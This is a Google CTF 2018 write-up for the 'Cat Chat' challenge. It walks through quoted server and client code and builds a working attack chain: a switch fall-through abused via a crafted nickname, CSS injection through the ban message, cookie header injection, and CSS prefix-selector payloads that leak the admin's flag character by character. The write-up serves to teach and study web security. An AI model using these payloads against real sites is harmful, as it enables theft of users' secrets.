Writeup Cat Chat from Google CTF 2018 (Quals)

by: xomex (Sven H)

Challenge (46 solves, 210 points)

You discover this cat enthusiast chat app, but the annoying thing about it is that you’re always banned when you start talking about dogs. Maybe if you would somehow get to know the admin’s password, you could fix that.
https://cat-chat.web.ctfcompetition.com/

We are given a chat website. When entering it we are redirected to a random room and are greeted by a message.

Welcome to Cat Chat! This is your brand new room where you can discuss anything related to cats. You have been assigned a random nick name that you can change any time.

Rules:
- You may invite anyone to this chat room. Just share the URL.
- Dog talk is strictly forbidden. If you see anyone talking about dogs, please report the incident, and the admin will take the appropriate steps. This usually means that the admin joins the room, listens to the conversation for a brief period and bans anyone who mentions dogs.
Commands you can use: (just type a message starting with slash to invoke commands)
- /name YourNewName - Change your nick name to YourNewName.
- /report - Report dog talk to the admin.

Btw, the core of the chat engine is open source! You can download the source code here.
Alright, have fun!

yellow_ragdoll (you): Hi all

We can look at the network tab of our Browser to see that sending a message is a simple get request to send?name=yellow_ragdoll&msg=hello. This will be important later.

Otherwise the chat works as described in the welcome message: - Others can join the room via the URL - One can change it’s name arbitrarily - One can report the channel to the admin, who then connects for a bit and banns every user saying dog

server.js

So let’s take a look at the server side. There’s a lot of setting up the chat and code to get it working.

When a client requests ‘/’ it is redirected to a random room. When a client requests a room it is sent a static html file and headers specifying the Content-Security-Policy. The only interesting part is that inline styles are allowed. Other than that no inline content or user controllable content is allowed.

The interesting part is the message handler (ln 42-75):

// Process incoming messages
app.all(roomPath + '/send', async function(req, res) {
  let room = req.params.room, {msg, name} = req.query, response = {}, arg;
  console.log(`${room} <-- (${name}):`, msg)
  if (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith(req.headers.host)) {
    response = {type: "error", error: 'CSRF protection error'};
  } else if (msg[0] != '/') {
    broadcast(room, {type: 'msg', name, msg});
  } else {
    switch (msg.match(/^\/[^ ]*/)[0]) {
      case '/name':
        if (!(arg = msg.match(/\/name (.+)/))) break;
        response = {type: 'rename', name: arg[1]};
        broadcast(room, {type: 'name', name: arg[1], old: name});
      case '/ban':
        if (!(arg = msg.match(/\/ban (.+)/))) break;
        if (!req.admin) break;
        broadcast(room, {type: 'ban', name: arg[1]});
      case '/secret':
        if (!(arg = msg.match(/\/secret (.+)/))) break;
        res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
        response = {type: 'secret'};
      case '/report':
        if (!(arg = msg.match(/\/report (.+)/))) break;
        var ip = req.headers['x-forwarded-for'];
        ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
        response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`);
    }
  }
  console.log(`${room} --> (${name}):`, response)
  res.json(response);
  res.status(200);
  res.end();
});

We can two new commands. These would also be explained in the HTML source of the page

<!--
Admin commands:
- `/secret asdfg` - Sets the admin password to be sent to the server with each command for authentication. It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room.
- `/ban UserName` - Bans the user with UserName from the chat (requires the correct admin password to be set).
-->

We also noticed that there are no breaks after the cases, so it is possible to fall through the cases. This will be important later.

Trying to get the Admin on our server

We can see the referrer header is checked against the host header. As these are both user controlled, this check can be circumvented. Additionally the host header is passed to the admin which seems like the admin will trust that input.

So our idea was to spoof the host header and get the admin to join our server. Then we could see which secrets the admin holds.

But when changing the Host header the google servers just gave us a 404. We tried multiple Host headers, comma separated Hosts, X-Forwarded-Host, but nothing worked.

So we had to move on.

catchat.js (client)

As the client also needs some code, we also looked at it.

There’s also a admin Function cleanupRoomFullOfBadPeople which the admin (probably) executes when joining a room.

Above this is a comment explaining, that the admin has a secret cookie already set.

cleanupRoomFullOfBadPeople looks through all messages (after joining) and if the message contains dog (case insensitive) the admin bans the user using the /ban <username> command.
This is where the no break in switch thingy comes in handy. We can force the admin to call /secret and /report with our parameters, by naming our self <name> /secret <some params> /report <recaptcha token>.

We tested around and got the admin to call in another admin, which was interesting, but not helpful.

injection

We checked through the code and looked for places where we could inject something.

And we found the clients handle function:

// Receiving messages
function handle(data) {
    ({
        undefined(data) {
        },
        error(data) {
            display(`Something went wrong :/ Check the console for error message.`);
            console.error(data);
        },
        name(data) {
            display(`${esc(data.old)} is now known as ${esc(data.name)}`);
        },
        rename(data) {
            localStorage.name = data.name;
        },
        secret(data) {
            display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`);
        },
        msg(data) {
            let you = (data.name == localStorage.name) ? ' (you)' : '';
            if (!you && data.msg == 'Hi all') send('Hi');
            display(`<span data-name="${esc(data.name)}">${esc(data.name)}${you}</span>: <span>${esc(data.msg)}</span>`);
        },
        ban(data) {
            if (data.name == localStorage.name) {
                document.cookie = 'banned=1; Path=/';
                sse.close();
                display(`You have been banned and from now on won't be able to receive and send messages.`);
            } else {
                display(`${esc(data.name)}was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
            }
        },
    })[data.type](data);
}

More specifically the ban case. Here we can inject arbitrary CSS by naming our self <name> ]{}<CSS>.

Looking at the secret handler, we see that when setting a secret it is stored inside the DOM inside a span attribute data-secret=<secret from cookie>.

Using pattern matching in css we can use this to apply a CSS rule if the secret begins with a prefix. For example if we wanted to apply a CSS rule if the printed secret begins with CTF, we can use the rule span[data-secret^=CTF]{<rule to apply>}.

But how does one use a CSS injection to extract data?
You specify a background image from an url: span[data-secret^=CTF]{background: url(myserver.tld/CTF)}
Using this we could check our server logs for CTF.

This attempt is blocked by the CSP:

Content Security Policy: The page’s settings blocked the loading of a resource at myserver.tld (“default-src”).

But we don’t need to use a different server, as sending a message is done with a simple get request. So our rules will look something like this: span[data-secret^=CTF]{background: url(send?name=f&msg=CTF)}

getting the admin print his secret

This sounds all good, but the admin has it’s secret in a cookie and does not use the /secret command.

But we know we can get the admin to call /secret. But this will overwrite the cookie. So let’s again look at the secret handler (server-side)

case '/secret':
    if (!(arg = msg.match(/\/secret (.+)/))) break;
    res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
    response = {type: 'secret'};

It writes the parameter directly into the header. This does not seem like a good idea. Looking at the documentation we can see some other parameters to this header. Domain looks interesting, so lets try what happens when executing /secret abc; Domain=www.google.com;
The secret is not overwritten, but is added to the DOM.

Extracting the Flag

To sum it up: - we can force the admin to use the secret command by naming us /secret <param> - we can use the secret command without overwriting the secret: /secret abc; Domain=www.google.com; - we can extract the secret via css prefix matching: ]{}span[data-secret^=CTF\{A]{background: url(send?name=f&msg=A)}...

Combining this we can extract the flag as follows:

We need two clients, one of them will only watch

The other will name itself:

/name /secret abc; Domain=www.google.com;]{}
span[data-secret^=CTF\{A]{background: url(send?name=f&msg=A)}
...
span[data-secret^=CTF\{Z]{background: url(send?name=f&msg=Z)}
span[data-secret^=CTF\{a]{background: url(send?name=f&msg=a)}
...
span[data-secret^=CTF\{y]{background: url(send?name=f&msg=y)}
span[data-secret^=CTF\{z]{background: url(send?name=f&msg=z)}
span[data-secret^=CTF\{0]{background: url(send?name=f&msg=0)}
...
span[data-secret^=CTF\{9]{background: url(send?name=f&msg=9)}
span[data-secret^=CTF\{_]{background: url(send?name=f&msg=_)}
span[data-secret^=CTF\{\{]{background: url(send?name=f&msg=\{)}
span[data-secret^=CTF\{\}]{background: url(send?name=f&msg=\})}

Then he will report the channel, wait for the admin to join and write dog.

The watching client will see:

[…] was banned.
f: L

So we know out flag begins with CTF{L

The banned client unbans himself by deleting the banned cookie. He then rejoins and names himself:

/name /secret abc; Domain=www.google.com;]{}
span[data-secret^=CTF\{LA]{background: url(send?name=f&msg=A)}
span[data-secret^=CTF\{LB]{background: url(send?name=f&msg=B)}
span[data-secret^=CTF\{LC]{background: url(send?name=f&msg=C)}
...

Repeating this we can extract each char from the flag resulting in CTF{L0LC47S_43V3R}.